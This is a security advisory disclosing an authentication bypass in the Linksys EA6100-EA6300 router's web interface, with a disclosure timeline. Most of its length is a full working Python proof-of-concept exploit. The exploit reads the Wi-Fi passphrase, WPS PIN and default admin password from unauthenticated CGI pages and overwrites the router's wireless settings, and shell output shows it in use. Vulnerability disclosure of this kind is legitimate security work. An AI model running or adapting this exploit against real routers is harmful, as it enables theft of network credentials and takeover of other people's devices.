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KL-001-2015-006 : Linksys EA6100 Wireless Router Authentication Bypass
Title: Linksys EA6100 Wireless Router Authentication Bypass
Advisory ID: KL-001-2015-006
Publication Date: 2015.12.04
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-006.txt
1. Vulnerability Details
Affected Vendor: Linksys
Affected Product: EA6100 - EA6300 Wireless Router
Affected Version: 1.1.5
Platform: Embedded Linux
CWE Classification: CWE-288: Authentication Bypass Using an
Alternate Path or Channel
Impact: Remote Administration
Attack vector: HTTP
CVE-ID: <Not Yet Assigned>
2. Vulnerability Description
Multiple CGI scripts in the web-based administrative
interface of the Linksys EA6100 - EA6300 Wireless Router
allow unauthenticated access to the high-level administrative
functions of the device. This vulnerability can be leveraged
by an unauthenticated attacker to obtain the router's
administrative password and subsequently arbitrarily configure
the device.
3. Technical Description
root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# ls
bin dev etc home JNAP lib libexec linuxrc mnt opt proc root
sbin sys tmp usr var www
root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# cd www
root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls
bootloader_info.cgi dhcp_log.txt get_counter_info.cgi
incoming_log.txt JNAP outgoing_log.txt security_log.txt
sysinfo.cgi usbinfo.cgi cgi-bin ezwifi_cfg.cgi
getstinfo.cgi jcgi license.pdf qos_info.cgi
speedtest_info.cgi ui
root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls -la sysinfo.cgi
lrwxrwxrwx 1 root root 23 Jul 21 2014 sysinfo.cgi -> /www/ui/cgi/sysinfo.cgi
root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# cat ui/cgi/sysinfo.cgi
#!/bin/sh
########################################################
# sysinfo.sh ----> /www/sysinfo.cgi
#
# When adding new debug information into this script file
# do the following:
# 1) create your debug script <your_debug_script.sh>
# 2) call your debug script in this sysinfo.sh script
# using the format:
# if [ -f <your debug script> ]; then
# ./<your debug script.cgi>
# fi
########################################################
...
...
Other CGI files that are accessible from an unauthenticated perspective
can be used to configure settings for the affected device. This led to
the development of an exploit to abuse these vulnerabilities.
level:Debug level$ ./linksys-ea6100-auth-bypass -h
Usage: ./linksys-ea6100-auth-bypass [params]
-h Help Menu
-i Target Address
-r Reset Attack
-g Get System Info
-p Get Wifi Password
Example: ./linksys-ea6100-auth-bypass -i 10.10.10.1 -r
Brought to you by Level at KoreLogic
level:Debug level$ ./linksys-ea6100-auth-bypass -i 172.17.100.200 -p
Getting wireless passphrase
SSID=840146d6919<redacted>
Passphrase=e0fc253e585bf33d7b<redacted>
level:Debug level$ ./linksys-ea6100-auth-bypass -i 172.17.100.200 -g|more
Brought to you by Level at KoreLogic
Getting system info
page generated on Tue Jan 20 20:01:48 UTC 2015
UpTime:
20:01:48 up 3 days, 16:24, load average: 0.00, 0.04, 0.05
Firmware Version: 1.1.5.159694
Firmware Builddate: 2014-03-21 03:09
Product.type: production
Linux: Linux version 2.6.36 (root@build-vm) (gcc version 4.2.3) #1 Thu Mar 20 19:40:45 PDT 2014
Board: focus
...
...
4. Mitigation and Remediation Recommendation
No response from vendor; no remediation available.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2015.09.10 - KoreLogic submits vulnerability details to
security@linksys.com.
2015.10.05 - KoreLogic submits vulnerability details to
security@linksys.com again.
2015.11.20 - KoreLogic requests CVE from MITRE.
2015.12.02 - KoreLogic requests CVE from MITRE.
2015.12.03 - KoreLogic requests CVE from MITRE.
2015.12.04 - KoreLogic requests CVE from MITRE.
2015.12.04 - Public disclosure.
7. Proof of Concept
#!/usr/bin/env python3
########################################################################
#
# Copyright 2015 KoreLogic Inc., All Rights Reserved.
#
# This proof of concept, having been partly or wholly developed
# and/or sponsored by KoreLogic, Inc., is hereby released under
# the terms and conditions set forth in the Creative Commons
# Attribution Share-Alike 4.0 (United States) License:
#
# http://creativecommons.org/licenses/by-sa/4.0/
#
#######################################################################
from optparse import OptionParser
from urllib.request import urlopen, Request
from base64 import b64encode
from json import loads
from sys import exit
def reset_ap(host, passphrase):
"""Resets the wireless security settings of the access point."""
try:
payload = '[{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_5GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic"}}}]}}]'
headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))}
request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers)
fd = urlopen(request)
data5 = loads(fd.read())['result']
fd.close()
except Exception as e:
print("[!] Could not reset the 5ghz access point security, reason: {0}.".format(str(e)))
return -1
try:
payload = '[{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_2GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic2", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic2"}}}]}}]'
headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))}
request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers)
fd = urlopen(request)
data2 = loads(fd.read())['result']
fd.close()
except Exception as e:
print("[!] Could not reset the 2.4ghz access point security, reason: {0}".format(str(e)))
return -1
return data5, data2
def is_admin_default(host):
"""Determines whether or not the administrator passphrase is default."""
try:
request = Request("https://{:s}/JNAP/".format(str(host)), "{}".encode('ascii'), {'X-JNAP-Action': 'http://linksys.com/jnap/core/IsAdminPasswordDefault'})
fd = urlopen(request)
data = loads(fd.read().decode('utf-8'))['output']['isAdminPasswordDefault']
fd.close()
except Exception as e:
print("[!] Could not determine if administrator passphrase is default, reason: {0}".format(str(e)))
return -1
return data
def is_host_alive(host):
"""Does a basic HTTP test to determine access."""
try:
fd = urlopen("https://{:s}/".format(str(host)))
fd.close()
except Exception as e:
print("[!] Could not determine if target host was alive, reason: {:s}".format(str(e)))
return False
print("[+] Target host is alive, proceeding.")
return True
def run_payload(host, payload_url):
"""Run a provided HTTP request."""
try:
target = "https://{:s}/{:s}".format(str(host), str(payload_url))
fd = urlopen(target)
data = fd.read()
fd.close()
except Exception as e:
print("[!] Unable to execute payload, reason: {0}".format(str(e)))
return -1
return data.decode('utf-8')
def main():
"""Handle options provided and execute appropriate payloads."""
payload_url, o, a = None, None, None
print("Brought to you by Level at KoreLogic\n")
parser = OptionParser()
parser.add_option("--host", dest="host", help="Target IP address")
parser.add_option("--sysinfo", action="store_true", help="Get target system information")
parser.add_option("--getpwhash", action="store_true", help="Get target wireless password hash")
parser.add_option("--getclearpw", action="store_true", help="Get target wireless SSID and cleartext password")
parser.add_option("--isdefault", action="store_true", help="Check if target is running the default admin credential (if yes, obtain passphrase)")
parser.add_option("--resetwifi", action="store_true", help="Reset the access point security (requires default passphrase)")
parser.add_option("--poisonwifi", action="store_true", help="Poison the access point security settings")
parser.add_option("--getwpspin", action="store_true", help="Get the WPS pin for the target")
o, a = parser.parse_args()
if o.host is None:
print("[!] You must specify a target host, please see --help")
exit(1)
else:
if is_host_alive(o.host) is not True:
print("[!] Could not establish connection to target")
exit(1)
else:
if o.sysinfo is not None:
print("[+] Obtaining system information -")
payload_url = "sysinfo.cgi"
response = run_payload(o.host, payload_url)
if response is not -1:
for line in response.split("\n"):
print(line)
if o.getpwhash is not None:
print("[+] Obtaining wireless password hash -")
payload_url = "getstinfo.cgi"
response = run_payload(o.host, payload_url)
if response is not -1:
for line in response.split("\n"):
print("\t{0}".format(str(line)))
if o.getclearpw is not None:
print("[+] Obtaining wireless ssid and password -")
payload_url = "sysinfo.cgi"
response = run_payload(o.host, payload_url)
if response is not -1:
for line in response.split("\n"):
if "wl0_ssid=" in line:
print("\twl0 SSID: {0}".format(str(line.split("=")[1])))
if "wl1_ssid=" in line:
print("\twl1 SSID: {0}".format(str(line.split("=")[1])))
if "wl0_passphrase=" in line:
print("\twl0 Passphrase: {0}".format(str(line.split("=")[1])))
if "wl1_passphrase=" in line:
print("\twl1 Passphrase: {0}".format(str(line.split("=")[1])))
if o.isdefault is not None:
print("[+] Checking if administrator passphrase is default -")
payload_url = "sysinfo.cgi"
response = is_admin_default(o.host)
if response is True:
print("[+] Passphrase is default, asking for the password -")
payload_url = "sysinfo.cgi"
response = run_payload(o.host, payload_url)
if response is not -1:
for line in response.split("\n"):
if "device::default_passphrase=" in line:
print("\tDefault passphrase: {0}".format(str(line.split("=")[1])))
else:
print("[!] Passphrase is not default")
if o.getwpspin is not None:
print("[+] Getting WPS pin -")
payload_url = "sysinfo.cgi"
response = run_payload(o.host, payload_url)
if response is not -1:
for line in response.split("\n"):
if "device::wps_pin=" in line:
print("\tWPS PIN: {0}".format(str(line.split("=")[1])))
if o.resetwifi is not None:
print("[+] Resetting the access point security -")
payload_url = "sysinfo.cgi"
response = is_admin_default(o.host)
if response is True:
print("[+] Admin password is default, asking for the password")
response = run_payload(o.host, payload_url)
if response is not -1:
for line in response.split("\n"):
if "device::default_passphrase=" in line:
passphrase = line.split("=")[1]
print("[+] Got the passphrase: {0}".format(str(passphrase)))
data5, data2 = reset_ap(o.host, passphrase)
if data5 is 'OK' and data2 is 'OK':
print("[+] AP will now restart with the SSID and passphrase: korelogic/korelogic and korelogic2/korelogic2")
else:
print("[!] Admin password is not default.")
if o.poisonwifi is not None:
print("[+] Poisoning wireless ssid configuration")
payload_url = "ezwifi_cfg.cgi?CMD=configure&2ssid=korelogic&2passphrase=korelogic&2mode=11b&5ssid=korelogic2&5passphrase=korelogic2&5mode=11a"
response = run_payload(o.host, payload_url)
if response is not -1:
payload_url = "sysinfo.cgi"
response = run_payload(o.host, payload_url)
if response is not -1:
ap_poisoned = None
for line in response.split("\n"):
if "wl0_ssid=" in line or "wl1_ssid=" in line:
if "korelogic" in line:
print("[+] Access point ssid settings poisoned. An administrator will need to hit Apply anywhere in the UI")
ap_poisoned = 1
if ap_poisoned is None:
print("[!] Access point ssid settings could not be poisoned, consider running --getclearpw")
if payload_url is None:
print("[!] No attack has been specified, please see --help")
exit(1)
return exit(0)
if __name__ == "__main__":
main()
The contents of this advisory are copyright(c) 2015
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
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